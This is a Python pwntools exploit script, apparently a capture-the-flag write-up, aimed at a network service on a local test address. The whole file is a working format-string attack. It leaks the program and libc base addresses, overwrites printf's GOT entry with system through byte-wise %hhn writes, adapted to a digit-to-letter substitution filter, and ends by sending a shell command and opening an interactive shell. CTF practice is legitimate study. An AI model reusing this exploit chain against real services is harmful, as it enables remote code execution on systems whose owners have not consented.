UCATFLAGS-WP

from pwn import *
ip="172.17.0.3" # test ip
port=9999
conn=connect(ip,port)
libc=ELF('./libc.so.6')


system_libc=libc.sym['system']
printf_libc=libc.sym['printf']
write_libc=libc.sym['write']


printf_got_offset=0x0000000000004038
io_ret_offset=0x0000000000001523

# leak .text base address
payload1=b'%zi$p'
conn.recvline()
conn.sendline(payload1)
conn.recvline()
text_base=int(conn.recvline()[:-1].decode(),16)-io_ret_offset


printf_got=printf_got_offset+text_base

# leak libc base address
payload2=b'%3$p'
conn.recvline()
conn.sendline(payload2)
conn.recvline()
libc_base=int(conn.recvline()[:-1].decode(),16)-(write_libc+23)


system_addr=system_libc+libc_base


byte1=system_addr&0xff
byte2=(system_addr>>8)&0xff
byte3=(system_addr>>16)&0xff


send_str_list=[str(byte1),str((byte2-byte1)%0x100),str((byte3-byte2)%0x100)]

for i in range(len(send_str_list)):
    send_str_list[i]=send_str_list[i].replace('1','l').replace('2','z').replace('4','A').replace('6','b').replace('9','q').replace('0','o')

# change got (printf to system)
payload3 = '%{}C%l3$hhn'.format(send_str_list[0]).encode()
payload3 += '%{}C%lA$hhn'.format(send_str_list[1]).encode()
payload3 += '%{}C%l5$hhn'.format(send_str_list[2]).encode()
payload3 = payload3.ljust(12 * 3 + 4, b'\x00')	
payload3 += p64(printf_got) + p64(printf_got+1) + p64(printf_got+2)

conn.sendline(payload3)
conn.sendline(b'/61n/sh\0')

conn.interactive()